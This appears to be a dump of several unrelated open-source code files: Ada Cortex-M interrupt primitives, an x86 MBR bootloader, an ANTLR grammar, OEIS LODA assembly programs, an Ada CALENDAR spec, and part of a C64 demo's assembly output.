-- will only take effect after interrupts are enabled.
Context_Switch;
end if;
else
-- When OS extensions are not available, the context switch will be
-- handled in the lower level trap handler:
-- __gnat_irq_trap_without_os_extensions
null;
end if;
-- Restore interrupt masking of interrupted thread
Enable_Interrupts (Running_Thread.Active_Priority);
end Interrupt_Request_Handler;
---------------------
-- SV_Call_Handler --
---------------------
procedure SV_Call_Handler is
begin
GNAT_Error_Handler (SV_Call_Vector);
end SV_Call_Handler;
-----------------
-- Set_Context --
-----------------
procedure Set_Context
(Context : in out Context_Buffer;
Index : Context_Id;
Value : Word) is
begin
Context (Index) := Address (Value);
end Set_Context;
----------------------
-- Sys_Tick_Handler --
----------------------
procedure Sys_Tick_Handler is
Max_Alarm_Interval : constant Timer_Interval := Timer_Interval'Last / 2;
Now : constant Timer_Interval := Timer_Interval (Read_Clock);
begin
-- The following allows max. efficiency for "useless" tick interrupts
if Alarm_Time - Now <= Max_Alarm_Interval then
-- Alarm is still in the future, nothing to do, so return quickly
return;
end if;
Alarm_Time := Now + Max_Alarm_Interval;
-- Call the alarm handler
Trap_Handlers (Sys_Tick_Vector)(Sys_Tick_Vector);
-- The interrupt handler may have scheduled a new task
if Context_Switch_Needed then
Context_Switch;
end if;
Enable_Interrupts (Running_Thread.Active_Priority);
end Sys_Tick_Handler;
------------------------
-- Initialize_Context --
------------------------
procedure Initialize_Context
(Buffer : not null access Context_Buffer;
Program_Counter : System.Address;
Argument : System.Address;
Stack_Pointer : System.Address)
is
HW_Ctx_Bytes : constant System.Address := Hardware_Context'Size / 8;
New_SP : constant System.Address :=
(Stack_Pointer - HW_Ctx_Bytes) and not 4;
HW_Ctx : Hardware_Context with Address => New_SP;
begin
-- No need to initialize the context of the environment task
if Program_Counter = Null_Address then
return;
end if;
HW_Ctx := (R0 => Word (Argument),
PC => Word (Program_Counter),
PSR => 2**24, -- Set thumb bit
others => 0);
Buffer.all := (SP_process => New_SP, others => 0);
end Initialize_Context;
----------------------------
-- Install_Error_Handlers --
----------------------------
procedure Install_Error_Handlers is
EH : constant Address := GNAT_Error_Handler'Address;
begin
Install_Trap_Handler (EH, Reset_Vector);
Install_Trap_Handler (EH, NMI_Vector);
Install_Trap_Handler (EH, Hard_Fault_Vector);
Install_Trap_Handler (EH, Bus_Fault_Vector);
Install_Trap_Handler (EH, Usage_Fault_Vector);
if Has_OS_Extensions then
Install_Trap_Handler (EH, Pend_SV_Vector);
Install_Trap_Handler (EH, SV_Call_Vector);
end if;
end Install_Error_Handlers;
--------------------------
-- Install_Trap_Handler --
--------------------------
procedure Install_Trap_Handler
(Service_Routine : System.Address;
Vector : Vector_Id;
Synchronous : Boolean := False)
is
pragma Unreferenced (Synchronous);
begin
Trap_Handlers (Vector) := To_Pointer (Service_Routine);
end Install_Trap_Handler;
------------------------
-- Disable_Interrupts --
------------------------
procedure Disable_Interrupts is
begin
Asm ("cpsid i", Volatile => True);
end Disable_Interrupts;
-----------------------
-- Enable_Interrupts --
-----------------------
procedure Enable_Interrupts (Level : Integer) is
procedure Clear_PRIMASK_Register;
-- Wrapper around the Clear PRIMASK register instruction
----------------------------
-- Clear_PRIMASK_Register --
----------------------------
procedure Clear_PRIMASK_Register is
begin
-- Enabling interrupts will cause any pending interrupts to take
-- effect. The instruction barrier is required by the architecture
-- to ensure subsequent instructions are executed with interrupts
-- enabled and at the right hardware priority level.
Asm ("cpsie i" & NL &
"isb",
Clobber => "memory", Volatile => True);
end Clear_PRIMASK_Register;
begin
if Is_ARMv6m then
-- The absence of the BASEPRI register on the ARMv6-M architecture
-- means only one interrupt priority can be supported on this
-- architecture. Consequently, interrupts have to remain
-- disabled while we are at a priority level of Interrupt_Priority,
-- otherwise it would allow interrupt handlers to run when a task or
-- another interrupt handler is running at this level; creating
-- a scenario where a protected object's mutual exclusion may be
-- violated.
if Level /= Interrupt_Priority'Last then
Clear_PRIMASK_Register;
end if;
else
-- Set BASEPRI to mask interrupts below Level and enable interrupts
Board_Support.Interrupts.Set_Current_Priority (Level);
Clear_PRIMASK_Register;
end if;
end Enable_Interrupts;
end System.BB.CPU_Primitives;
|
gxboot/mbr.asm | madd-games/glidix | 98 | 83320 | ; Glidix bootloader (gxboot)
;
; Copyright (c) 2014-2017, <NAME>.
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
bits 16
org 0x6000
; since we're messing with the stack we probably want to be careful
cli
; reset segment registers
xor ax, ax
mov ds, ax
mov ss, ax
mov es, ax
; relocate code from 0x7C00 to 0x6000
mov si, 0x7C00
mov di, 0x6000
mov cx, 512
cld
rep movsb
; set CS
jmp 0:start
start:
; set up the stack above the code
mov sp, 0x6000
; we can safely enable interrupts now
sti
; preserve boot device on the stack
push dx
; make sure INT13 extensions are present
mov ah, 0x41
; drive number already in DL
mov bx, 0x55AA
int 0x13
jc boot_failed
; test BX and whether reads are supported
cmp bx, 0xAA55
jne boot_failed
test cx, 1
jz boot_failed
; loop through partitions, find the active one
mov si, 0x61BE
mov cx, 4
part_search:
mov al, [si]
cmp al, 0x80
je part_found
add si, 16
loop part_search
jmp boot_failed ; no boot partition found
part_found:
; DS:SI now points to a bootable partition
mov eax, [si+8]
mov [dap.lba], eax
xor eax, eax
; restore drive number from stack, preserve SI
pop dx
push dx
push si
mov si, dap
mov ah, 0x42
int 0x13
jc boot_failed
; restore SI (pointer to partition entry) and drive number
pop si
pop dx
; jump to VBR
jmp 0:0x7C00
boot_failed:
int 0x18
dap:
db 0x10 ; size
db 0 ; unused
dw 1 ; number of sectors to read
dw 0x7C00 ; destination offset
dw 0 ; destination segment
.lba dd 0 ; LBA to read from
dd 0 ; high 32 bits of LBA, unused
|
frontend/src/main/antlr/Karaffe.g4 | nokok/Karaffe-old | 0 | 704 | grammar Karaffe;
compilationUnit
: topLevelStatement* EOF
;
topLevelStatement
: classDef
| statement
;
classDef
: simpleClassDef
;
simpleClassDef
: CLASS Identifier classDefBody?
;
classDefBody
: LBRACE classDefMemberList? RBRACE
| classDefMember
;
classDefMemberList
: classDefMember classDefMemberList?
;
classDefMember
: mainMethodDef
| statement
;
mainMethodDef
: MAIN statementBlock
;
statementBlock
: LBRACE statementList? RBRACE
| statement
;
statementList
: statement statementList?
;
statement
: exprStmt=expr
| letStmt=LET name=Identifier typeName=Identifier (EQ initializer=expr)?
| assignTarget=Identifier EQ expr
| def=DEF methodName=Identifier LPAREN parameterList? RPAREN returnTypeName=Identifier statement
| init=INIT (LPAREN parameterList RPAREN)? statement
;
parameterList
: b=binding (COMMA parameterList)?
;
binding
: name=Identifier typeName=Identifier
;
expr
: ifExpr=IF LPAREN cond=expr RPAREN then=statement* (ELSE el=statement*)?
| loop=WHILE LPAREN cond=expr RPAREN LBRACE body=statement* RBRACE
| block=LBRACE statement* RBRACE
| simple=simpleExpr
;
/*
,
..
||
&&
== != === !==
<= >= < >
+ -
* / %
**
! - + is #unary operators and type check operator
new ...
... as id, foo(), foo.bar(...), literal, Identifier, (...)
*/
simpleExpr
: exprList
;
exprList
: rangeExpr
| left=exprList op=COMMA right=rangeExpr
;
rangeExpr
: orExpr
| left=rangeExpr op=(RANGE | CRANGE) right=orExpr
;
orExpr
: andExpr
| left=orExpr op=OR right=andExpr
;
andExpr
: equalityExpr
| left=andExpr op=AND right=equalityExpr
;
equalityExpr
: conditionalExpr
| left=equalityExpr op=(EQEQ | NOTEQ | EQEQEQ | NOTEQEQ) right=conditionalExpr
;
conditionalExpr
: additiveExpr
| left=conditionalExpr op=(LE | GE | LT | GT ) right=additiveExpr
;
additiveExpr
: multiplicativeExpr
| left=additiveExpr op=(PLUS | MINUS) right=multiplicativeExpr
;
multiplicativeExpr
: powExpr
| left=multiplicativeExpr op=(MUL | DIV | MOD) right=primary
;
powExpr
: unaryExpr
| left=unaryExpr op=POW right=powExpr
;
unaryExpr
: primary
| op=BANG exp=unaryExpr
| op=PLUS exp=unaryExpr
| op=MINUS exp=unaryExpr
;
primary
: castTarget=primary AS typeName=Identifier #cast
| methodName=Identifier LPAREN args=expr? RPAREN #localMethodInvocation
| owner=primary DOT methodName=Identifier LPAREN args=expr? RPAREN #objectMethodInvocation
| newInstance=NEW typeName=Identifier LPAREN args=expr? RPAREN #newInstance
| lit=literal #lit
| exprName=Identifier #exprName
| nested=LPAREN expr RPAREN #nestedExpr
;
literal
: IntegerLiteral
| StringLiteral
;
FALLTHROUGH: 'fallthrough';
EXTENSION: 'extension';
PROTEDTED: 'protected';
ABSTRACT: 'abstract';
CONTINUE: 'continue';
INTERNAL: 'internal';
READONLY: 'readonly';
PRIVATE: 'private';
IMPORT: 'import';
PUBLIC: 'public';
RETURN: 'return';
SEALED: 'sealed';
STATIC: 'static';
ASYNC: 'async';
AWAIT: 'await';
BREAK: 'break';
CLASS: 'class';
DEFER: 'defer';
FALSE: 'false';
MATCH: 'match';
SUPER: 'super';
THROW: 'throw';
WHILE: 'while';
CASE: 'case';
ELSE: 'else';
ENUM: 'enum';
FUNC: 'func';
INIT: 'init';
MAIN: 'main';
NULL: 'null';
OPEN: 'open';
THIS: 'this';
TRUE: 'true';
TYPE: 'type';
DEF: 'def';
FOR: 'for';
LET: 'let';
NEW: 'new';
VAR: 'var';
EQEQEQ: '===';
NOTEQEQ: '!==';
CRANGE: '..<';
AS: 'as';
IS: 'is';
IF: 'if';
IN: 'in';
RANGE: '..';
POW: '**';
AND: '&&';
OR: '||';
EQEQ: '==';
NOTEQ : '!=';
LE : '<=';
GE : '>=';
ARROW: '->';
DARROW: '=>';
RARROW: '<-';
GT : '>';
LT : '<';
BANG: '!';
COMMA: ',';
PLUS: '+';
MINUS: '-';
MUL: '*';
DIV: '/';
MOD: '%';
EQ: '=';
QUOTE: '\'';
DQUOTE: '"';
LPAREN: '(';
RPAREN: ')';
LBRACE: '{';
RBRACE: '}';
LBRACK: '[';
RBRACK: ']';
SEMI: ';';
DOT: '.';
StringLiteral
: DQUOTE StringChars? DQUOTE
;
fragment
StringChars
: StringChar+
;
fragment
StringChar
: ~["\\\r\n]
| EscapeSeq
;
fragment
EscapeSeq
: '\\' [btnfru"'\\]
;
IntegerLiteral
: NonZeroDigit Digit+
| Digit
;
Identifier
: IdentifierHead IdentifierBody*
;
fragment IdentifierHead
: [A-Za-z]
;
fragment IdentifierBody
: IdentifierHead
| '_'
| [0-9]
;
fragment
NonZeroDigit
: [1-9]
;
fragment
Digit
: '0'
| NonZeroDigit
;
Whitespace : [ \t\r\n]+ -> skip ;
|
tests/src/sp-strings-tests.ads | jquorning/septum | 236 | 9681 | <reponame>jquorning/septum
with Trendy_Test;
package SP.Strings.Tests is
function All_Tests return Trendy_Test.Test_Group;
end SP.Strings.Tests;
|
programs/oeis/270/A270008.asm | karttu/loda | 0 | 166161 | ; A270008: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 5", based on the 5-celled von Neumann neighborhood.
; 1,9,9,58,58,179,179,404,404,765,765,1294,1294,2023,2023,2984,2984,4209,4209,5730,5730,7579,7579,9788,9788,12389,12389,15414,15414,18895,18895,22864,22864,27353,27353,32394,32394,38019,38019,44260,44260,51149,51149,58718,58718,66999,66999,76024,76024,85825,85825,96434,96434,107883,107883,120204,120204,133429,133429,147590,147590,162719,162719,178848,178848,196009,196009,214234,214234,233555,233555,254004,254004,275613,275613,298414,298414,322439,322439,347720,347720,374289,374289,402178,402178,431419,431419,462044,462044,494085,494085,527574,527574,562543,562543,599024,599024,637049,637049,676650,676650,717859,717859,760708,760708,805229,805229,851454,851454,899415,899415,949144,949144,1000673,1000673,1054034,1054034,1109259,1109259,1166380,1166380,1225429,1225429,1286438,1286438,1349439,1349439,1414464,1414464
mov $2,$0
add $2,1
mov $3,$0
lpb $2,1
mov $0,$3
trn $2,2
sub $0,$2
mov $4,$0
add $4,1
add $5,1
mov $7,$0
add $7,$4
mov $6,$7
add $6,1
mod $6,4
lpb $0,1
mov $5,$7
mul $5,$7
trn $6,1
mov $0,$6
mov $7,0
lpe
mul $5,2
add $0,$5
mov $7,$0
div $7,2
add $1,$7
lpe
|
oeis/213/A213077.asm | neoneye/loda-programs | 11 | 12296 | <reponame>neoneye/loda-programs
; A213077: a(n) = round(n^2 - sqrt(n)).
; Submitted by <NAME>
; 0,0,3,7,14,23,34,46,61,78,97,118,141,165,192,221,252,285,320,357,396,436,479,524,571,620,671,724,779,836,895,955,1018,1083,1150,1219,1290,1363,1438,1515,1594,1675,1758,1842,1929,2018,2109,2202,2297,2394,2493,2594,2697,2802,2909,3018,3129,3241,3356,3473,3592,3713,3836,3961,4088,4217,4348,4481,4616,4753,4892,5033,5176,5320,5467,5616,5767,5920,6075,6232,6391,6552,6715,6880,7047,7216,7387,7560,7735,7912,8091,8271,8454,8639,8826,9015,9206,9399,9594,9791
mov $1,$0
pow $0,2
add $0,40
lpb $1
sub $0,1
add $2,2
trn $1,$2
lpe
sub $0,40
|
tools/scitools/conf/understand/ada/ada83/calendar.ads | brucegua/moocos | 1 | 13013 | <reponame>brucegua/moocos
--******************************************************************************
--
-- package CALENDAR
--
--******************************************************************************
package CALENDAR is
type TIME is private;
subtype YEAR_NUMBER is INTEGER range 1901 .. 2099;
subtype MONTH_NUMBER is INTEGER range 1 .. 12;
subtype DAY_NUMBER is INTEGER range 1 .. 31;
subtype DAY_DURATION is DURATION range 0.0 .. 86_400.0;
function CLOCK return TIME;
function YEAR (DATE : TIME) return YEAR_NUMBER;
function MONTH (DATE : TIME) return MONTH_NUMBER;
function DAY (DATE : TIME) return DAY_NUMBER;
function SECONDS(DATE : TIME) return DAY_DURATION;
procedure SPLIT (DATE : in TIME;
YEAR : out YEAR_NUMBER;
MONTH : out MONTH_NUMBER;
DAY : out DAY_NUMBER;
SECONDS : out DAY_DURATION);
function TIME_OF(YEAR : YEAR_NUMBER;
MONTH : MONTH_NUMBER;
DAY : DAY_NUMBER;
SECONDS : DAY_DURATION := 0.0) return TIME;
function "+" (LEFT : TIME;
RIGHT : DURATION) return TIME;
function "+" (LEFT : DURATION;
RIGHT : TIME) return TIME;
function "-" (LEFT : TIME;
RIGHT : DURATION) return TIME;
function "-" (LEFT : TIME;
RIGHT : TIME) return DURATION;
function "<" (LEFT, RIGHT : TIME) return BOOLEAN;
function "<=" (LEFT, RIGHT : TIME) return BOOLEAN;
function ">" (LEFT, RIGHT : TIME) return BOOLEAN;
function ">=" (LEFT, RIGHT : TIME) return BOOLEAN;
TIME_ERROR : exception;
-- can be raised by TIME_OF, "+", AND "-"
private
-- implementation-dependent
type TIME is new integer;
end CALENDAR;
|
programs/oeis/160/A160664.asm | neoneye/loda | 22 | 175921 | <filename>programs/oeis/160/A160664.asm
; A160664: a(n) = a(n-1) + A000203(n), a(0)=1.
; 1,2,5,9,16,22,34,42,57,70,88,100,128,142,166,190,221,239,278,298,340,372,408,432,492,523,565,605,661,691,763,795,858,906,960,1008,1099,1137,1197,1253,1343,1385,1481,1525,1609,1687,1759,1807,1931,1988,2081,2153,2251,2305,2425,2497,2617,2697,2787,2847,3015,3077,3173,3277,3404,3488,3632,3700,3826,3922,4066,4138,4333,4407,4521,4645,4785,4881,5049,5129,5315,5436,5562,5646,5870,5978,6110,6230,6410,6500,6734,6846,7014,7142,7286,7406,7658,7756,7927,8083
mov $2,$0
lpb $2
add $3,1
mov $4,$2
lpb $4
add $1,$3
trn $4,$3
lpe
sub $2,1
lpe
add $1,1
mov $0,$1
|
src/test/ref/complex/new_30_years_low_resolution/new_30_years_low_resolution.asm | jbrandwood/kickc | 2 | 91092 | <filename>src/test/ref/complex/new_30_years_low_resolution/new_30_years_low_resolution.asm
// The Demo collects the parts and handles overall control
// Commodore 64 PRG executable file
.plugin "se.triad.kickass.CruncherPlugins"
.file [name="new_30_years_low_resolution.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Common, Part2, Part1, InitDemo"]
.segmentdef Basic [start=$0801]
.segmentdef Common [segments="Code, Data"]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segmentdef Part2 [segments="CodePart2, DataPart2, InitPart2"]
.segmentdef CodePart2 [startAfter="Data"]
.segmentdef DataPart2 [startAfter="CodePart2"]
.segmentdef InitPart2 [startAfter="DataPart2"]
.segmentdef Part1 [segments="CodePart1, DataPart1, InitPart1"]
.segmentdef CodePart1 [startAfter="InitPart2"]
.segmentdef DataPart1 [startAfter="CodePart1"]
.segmentdef InitPart1 [startAfter="DataPart1"]
.segmentdef InitDemo [startAfter="InitPart1"]
.segment Basic
:BasicUpstart(__start)
/// Value that disables all CIA interrupts when stored to the CIA Interrupt registers
.const CIA_INTERRUPT_CLEAR = $7f
/// $D011 Control Register #1 Bit#5: BMM Turn Bitmap Mode on/off
.const VICII_BMM = $20
/// $D016 Control register #2 Bit#4: MCM Turn Multicolor Mode on/off
.const VICII_MCM = $10
/// VICII IRQ Status/Enable Raster
// @see #IRQ_ENABLE #IRQ_STATUS
/// 0 | RST| Reaching a certain raster line. The line is specified by writing
/// | | to register 0xd012 and bit 7 of $d011 and internally stored by
/// | | the VIC for the raster compare. The test for reaching the
/// | | interrupt raster line is done in cycle 0 of every line (for line
/// | | 0, in cycle 1).
.const IRQ_RASTER = 1
/// Mask for PROCESSOR_PORT_DDR which allows only memory configuration to be written
.const PROCPORT_DDR_MEMORY_MASK = 7
/// RAM in all three areas 0xA000, 0xD000, 0xE000
.const PROCPORT_RAM_ALL = 0
/// RAM in 0xA000, 0xE000 I/O in 0xD000
.const PROCPORT_RAM_IO = 5
/// RAM in 0xA000, 0xE000 CHAR ROM in 0xD000
.const PROCPORT_RAM_CHARROM = 1
/// The colors of the C64
.const BLACK = 0
.const WHITE = 1
.const RED = 2
.const CYAN = 3
.const PURPLE = 4
.const GREEN = 5
.const BLUE = 6
.const YELLOW = 7
.const BROWN = 9
.const PINK = $a
.const GREY = $c
.const LIGHT_GREEN = $d
.const LIGHT_BLUE = $e
.const IRQ_PART1_TOP_LINE = $36
.const SIZEOF_STRUCT_BUCKETSPRITE = 2
// -0xFF72
// Size of the crunched PLEX ID updaters
.const PLEX_ID_UPDATERS_CRUNCHED_SIZE = $b72
// -0xAA2D
// Size of the crunched PLEX ID updaters
.const LOGO_DATA_CRUNCHED_SIZE = $222d
// Char-based sizes for the logo
.const LOGO_HEIGHT = $19
.const LOGO_WIDTH = $50
// IRQ performing the VSP
.const IRQ_SWING_VSP_LINE = $2d
.const OFFSET_STRUCT_MOS6526_CIA_INTERRUPT = $d
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC = $1c
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR = $27
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 = $25
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 = $26
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB = $10
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y = 1
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE = $15
.const OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR = $20
.const OFFSET_STRUCT_MOS6569_VICII_BG_COLOR = $21
.const OFFSET_STRUCT_MOS6569_VICII_CONTROL1 = $11
.const OFFSET_STRUCT_MOS6569_VICII_CONTROL2 = $16
.const OFFSET_STRUCT_MOS6569_VICII_MEMORY = $18
.const OFFSET_STRUCT_BUCKETSPRITE_PLEX_ID = 1
.const SIZEOF_CHAR = 1
/// Sprite X position register for sprite #0
.label SPRITES_XPOS = $d000
/// Sprite Y position register for sprite #0
.label SPRITES_YPOS = $d001
/// Sprite X position MSB register
.label SPRITES_XMSB = $d010
/// Sprite colors register for sprite #0
.label SPRITES_COLOR = $d027
/// Sprite enable register
.label SPRITES_ENABLE = $d015
/// $D012 RASTER Raster counter
.label RASTER = $d012
/// $D020 Border Color
.label BORDER_COLOR = $d020
/// $D021 Background Color 0
.label BG_COLOR = $d021
/// $D011 Control Register #1
/// - Bit#0-#2: YSCROLL Screen Soft Scroll Vertical
/// - Bit#3: RSEL Switch betweem 25 or 24 visible rows
/// RSEL| Display window height | First line | Last line
/// ----+--------------------------+-------------+----------
/// 0 | 24 text lines/192 pixels | 55 ($37) | 246 ($f6)
/// 1 | 25 text lines/200 pixels | 51 ($33) | 250 ($fa)
/// - Bit#4: DEN Switch VIC-II output on/off
/// - Bit#5: BMM Turn Bitmap Mode on/off
/// - Bit#6: ECM Turn Extended Color Mode on/off
/// - Bit#7: RST8 9th Bit for $D012 Rasterline counter
/// Initial Value: %10011011
.label VICII_CONTROL1 = $d011
/// $D016 Control register 2
/// - Bit#0-#2: XSCROLL Screen Soft Scroll Horizontal
/// - Bit#3: CSEL Switch betweem 40 or 38 visible columns
/// CSEL| Display window width | First X coo. | Last X coo.
/// ----+--------------------------+--------------+------------
/// 0 | 38 characters/304 pixels | 31 ($1f) | 334 ($14e)
/// 1 | 40 characters/320 pixels | 24 ($18) | 343 ($157)
/// - Bit#4: MCM Turn Multicolor Mode on/off
/// - Bit#5-#7: not used
/// Initial Value: %00001000
.label VICII_CONTROL2 = $d016
/// $D018 VIC-II base addresses
/// - Bit#0: not used
/// - Bit#1-#3: CB Address Bits 11-13 of the Character Set (*2048)
/// - Bit#4-#7: VM Address Bits 10-13 of the Screen RAM (*1024)
/// Initial Value: %00010100
.label VICII_MEMORY = $d018
/// VIC II IRQ Status Register
.label IRQ_STATUS = $d019
/// VIC II IRQ Enable Register
.label IRQ_ENABLE = $d01a
/// Processor port data direction register
.label PROCPORT_DDR = 0
/// Processor Port Register controlling RAM/ROM configuration and the datasette
.label PROCPORT = 1
/// The address of the CHARGEN character set
.label CHARGEN = $d000
/// The VIC-II MOS 6567/6569
.label VICII = $d000
/// Color Ram
.label COLS = $d800
/// Default address of screen character matrix
.label DEFAULT_SCREEN = $400
/// The CIA#1: keyboard matrix, joystick #1/#2
.label CIA1 = $dc00
/// The CIA#2: Serial bus, RS-232, VIC memory bank
.label CIA2 = $dd00
/// CIA#1 Interrupt for reading in ASM
.label CIA1_INTERRUPT = $dc0d
/// The vector used when the HARDWARE serves IRQ interrupts
.label HARDWARE_IRQ = $fffe
.label P1_COLORS = $a800
// A800-AFFF
.label P1_PIXELS = $c000
// C000-DFFF
.label P1_SCREEN = $e000
// E000-E3FF
.label P1_SPRITES = $fc00
// E000-E3FF
.label PIXELS_EMPTY = $e800
// E800-EFFF
// A copy of the load screen and colors
.label LOAD_SCREEN = $e400
// E400-E7FF
.label LOAD_CHARSET = $f000
// F000-F7FF
.label LOAD_COLORS = $f800
// Flipper cosine easing table
.label FLIPPER_EASING = $a400
// Sprite pointers
.label P1_SCREEN_SPRITE_PTRS = $e3f8
// The screen sprite pointers to update
.label SCREEN_SPRITE_PTRS = $e3f8
// Memory layout of the graphics bank
.label LOGO_DATA = $5400
.label PART2_BITMAP = $c000
// -0xdfff
.label PART2_SCREEN = $e000
// -0xe400
.label PART2_SPRITES = $e400
// -0xf400
// Location PLEX ID updaters are placed when running
.label PLEX_ID_UPDATERS = $3c00
// Location where the crunched PLEX ID updaters are placed to be decrunched
.label PLEX_ID_UPDATERS_CRUNCHED2 = $7c00
// Location where the crunched LOGO DATA is placed to be decrunched
.label LOGO_DATA_CRUNCHED2 = $8800
// Address of color data
.label LOGO_DATA_COLORS = LOGO_DATA+LOGO_HEIGHT*LOGO_WIDTH
// Address of pixel data
.label LOGO_DATA_BITMAP = LOGO_DATA_COLORS+LOGO_HEIGHT*LOGO_WIDTH
// The high-value table
.label XMOVEMENT_HI = XMOVEMENT+$200
.label DEMO_MUSIC = $ac00
// Pointer to the music init routine
.label musicInit = DEMO_MUSIC
// Pointer to the music play routine
.label musicPlay = DEMO_MUSIC+3
// Signals the main() loop to do work when all rasters are complete
.label p1_work_ready = $19
// Top of the flipper
.label irq_flipper_top_line = $1e
// Bottom of the flipper
.label irq_flipper_bottom_line = $46
// 1 if flipper is done
.label flipper_done = $49
// Middle of the flipper
.label irq_flipper_idx = $4b
// The current char line where the flipper switches from bitmap to text
.label flipper_charline = $1d
// The number of chars to scroll the screen by VSP.
// Legal values are 0-40.
// 0 shows the normal screen (no scrolling)
// 20 shows char #20 in the top left corner of the screen, effectively scrolling the screen left 20 chars.
.label vsp_scroll = $3b
// The next "real" sprite being used by the multiplexer
.label plex_real_sprite_idx = $3a
// Signals the main() loop to do work when all rasters are complete
.label p2_work_ready = $1a
// 1 if the logo is being revealed
.label p2_logo_revealing = $25
// 1 if the logo is completely revealed
.label p2_logo_reveal_done = $24
// 1 if the logo is being showed
.label p2_logo_swinging = $26
// 1 if the scroll is moving
.label p2_plex_scroller_moving = $28
// Number of columns shown of the logo
.label p2_logo_reveal_idx = $1c
// X-movement index
.label x_movement_idx = $4a
// The next char to use from the scroll text
.label scroll_text_next = $36
// The current frame ID (0-7)
.label plex_frame_id = $35
// Pointer to the buckets of the current frame
.label plex_frame = $30
// Offset added to plex_id to ensure the sprite cycling works (decreased 1 every time a cycle is complete)
.label plex_id_offset = $34
// Pointer to the current bucket of the current frame
.label plex_bucket = $40
// Index of the current bucket in the current frame (0..BUCKET_COUNT-1)
.label plex_bucket_id = $45
// The fine scroll (0-7)
.label vsp_fine_scroll = $42
// The coarse scroll (0-40)
.label vsp_coarse_scroll = $4e
// Index into the VSP sinus value
.label vsp_sin_idx = $4f
// Index into the sprite color sequence
.label sprite_color_idx = $4d
// Counts total demo frames
.label demo_frame_count = $22
// Is the sparkler active
.label sparkler_active = $20
// The sparkler sprite idx
.label sparkler_idx = $f
.segment Code
__start: {
// volatile char p1_work_ready = 0
lda #0
sta.z p1_work_ready
// volatile unsigned int irq_flipper_top_line = 0x00
sta.z irq_flipper_top_line
sta.z irq_flipper_top_line+1
// volatile unsigned int irq_flipper_bottom_line = 0x08
lda #<8
sta.z irq_flipper_bottom_line
lda #>8
sta.z irq_flipper_bottom_line+1
// volatile char flipper_done = 0
sta.z flipper_done
// volatile unsigned int irq_flipper_idx = 0x00
sta.z irq_flipper_idx
sta.z irq_flipper_idx+1
// volatile char flipper_charline = 0
sta.z flipper_charline
// volatile __zp char vsp_scroll = 0
sta.z vsp_scroll
// volatile char plex_real_sprite_idx = 0
sta.z plex_real_sprite_idx
// volatile char p2_work_ready
sta.z p2_work_ready
// volatile char p2_logo_revealing = 0
sta.z p2_logo_revealing
// volatile char p2_logo_reveal_done = 0
sta.z p2_logo_reveal_done
// volatile char p2_logo_swinging = 0
sta.z p2_logo_swinging
// volatile char p2_plex_scroller_moving = 0
sta.z p2_plex_scroller_moving
// volatile char p2_logo_reveal_idx = 0
sta.z p2_logo_reveal_idx
// volatile char x_movement_idx = 0
sta.z x_movement_idx
// char* volatile scroll_text_next = SCROLL_TEXT
lda #<SCROLL_TEXT
sta.z scroll_text_next
lda #>SCROLL_TEXT
sta.z scroll_text_next+1
// volatile char plex_frame_id = 0
lda #0
sta.z plex_frame_id
// struct BucketSprite* volatile plex_frame = BUCKET_SPRITES
lda #<BUCKET_SPRITES
sta.z plex_frame
lda #>BUCKET_SPRITES
sta.z plex_frame+1
// volatile char plex_id_offset = 0
lda #0
sta.z plex_id_offset
// struct BucketSprite* volatile plex_bucket = BUCKET_SPRITES
lda #<BUCKET_SPRITES
sta.z plex_bucket
lda #>BUCKET_SPRITES
sta.z plex_bucket+1
// volatile char plex_bucket_id = 0
lda #0
sta.z plex_bucket_id
// volatile char vsp_fine_scroll
sta.z vsp_fine_scroll
// volatile char vsp_coarse_scroll
sta.z vsp_coarse_scroll
// volatile char vsp_sin_idx = 0x40
lda #$40
sta.z vsp_sin_idx
// volatile char sprite_color_idx = 0
lda #0
sta.z sprite_color_idx
// volatile unsigned int demo_frame_count = 0
sta.z demo_frame_count
sta.z demo_frame_count+1
// volatile char sparkler_active = 0
sta.z sparkler_active
// volatile char sparkler_idx = 0
sta.z sparkler_idx
jsr main
rts
}
// IRQ running during between parts
irq_demo: {
.label port_value = $48
sta rega+1
stx regx+1
sty regy+1
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Remember processor port value
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// char port_value = *PROCPORT
lda.z PROCPORT
sta.z port_value
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Enable IO
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
